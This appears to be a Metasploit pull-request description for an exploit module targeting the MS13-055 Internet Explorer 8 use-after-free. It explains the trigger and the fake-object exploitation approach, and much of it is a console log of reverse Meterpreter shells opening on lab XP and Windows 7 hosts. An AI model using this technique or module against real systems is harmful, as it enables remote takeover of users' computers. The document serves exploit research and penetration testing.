Add MS13-055 Internet Explorer Use-After-Free Vulnerability

In IE8 standards mode, it's possible to cause a use-after-free condition by first creating an illogical table tree, where a CPhraseElement comes after CTableRow, with the final node being a sub table element. When the CPhraseElement's outer content is reset by using either outerText or outerHTML through an event handler, this triggers a free of its child element (in this case, a CAnchorElement, but some other objects apply too), but a reference is still kept in function SRunPointer::SpanQualifier. This function will then pass on the invalid reference to the next functions, eventually used in mshtml!CElement::Doc when it's trying to make a call to the object's SecurityContext virtual function at offset +0x70, which results a crash. An attacker can take advantage of this by first creating an CAnchorElement object, let it free, and then replace the freed memory with another fake object. Successfully doing so may allow arbitrary code execution under the context of the user.

This bug is specific to Internet Explorer 8 only. It was originally discovered by Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update, so no CVE as of now.

Special thanks to Peter Vreugdenhil for the involvement.

Demo against XP & Win 7:

	[*] Started reverse handler on 10.0.1.76:4444 
	[*] Using URL: http://0.0.0.0:8080/urQeWe
	[*]  Local IP: http://10.0.1.76:8080/urQeWe
	[*] Server started.
	msf exploit(ms13_055_canchor) > [*] 10.0.1.76        ms13_055_canchor - Using msvcrt ROP
	[*] 10.0.1.76        ms13_055_canchor - Sending exploit...
	[*] Sending stage (752128 bytes) to 10.0.1.76
	[*] Meterpreter session 1 opened (10.0.1.76:4444 -> 10.0.1.76:55279) at 2013-09-08 20:00:57 -0500
	[*] Session ID 1 (10.0.1.76:4444 -> 10.0.1.76:55279) processing InitialAutoRunScript 'migrate -f'
	[*] Current server process: iexplore.exe (1460)
	[*] Spawning notepad.exe process to migrate to
	[+] Migrating to 496
	[+] Successfully migrated to process 
	[*] 10.0.1.79        ms13_055_canchor - Using JRE ROP
	[*] 10.0.1.79        ms13_055_canchor - Sending exploit...
	[*] Sending stage (752128 bytes) to 10.0.1.79
	[*] Meterpreter session 2 opened (10.0.1.76:4444 -> 10.0.1.79:49169) at 2013-09-08 20:01:11 -0500
	[*] Session ID 2 (10.0.1.76:4444 -> 10.0.1.79:49169) processing InitialAutoRunScript 'migrate -f'
	[*] Current server process: iexplore.exe (3544)
	[*] Spawning notepad.exe process to migrate to
	[+] Migrating to 832
	[+] Successfully migrated to process 
	
	msf exploit(ms13_055_canchor) > sessions
	
	Active sessions
	===============
	
	  Id  Type                   Information                                      Connection
	  --  ----                   -----------                                      ----------
	  1   meterpreter x86/win32  WEI-3B699B1A81A\Administrator @ WEI-3B699B1A81A  10.0.1.76:4444 -> 10.0.1.76:55279 (10.0.1.76)
	  2   meterpreter x86/win32  WIN-6NH0Q8CJQVM\sinn3r @ WIN-6NH0Q8CJQVM         10.0.1.76:4444 -> 10.0.1.79:49169 (10.0.1.79)
	
	msf exploit(ms13_055_canchor) > sessions -i 1
	[*] Starting interaction with 1...
	
	meterpreter > sysinfo
	Computer        : WEI-3B699B1A81A
	OS              : Windows XP (Build 2600, Service Pack 3).
	Architecture    : x86
	System Language : en_US
	Meterpreter     : x86/win32
	meterpreter > background
	[*] Backgrounding session 1...
	msf exploit(ms13_055_canchor) > sessions -i 2
	[*] Starting interaction with 2...
	
	meterpreter > sysinfo
	Computer        : WIN-6NH0Q8CJQVM
	OS              : Windows 7 (Build 7600).
	Architecture    : x86
	System Language : en_US
	Meterpreter     : x86/win32
	meterpreter >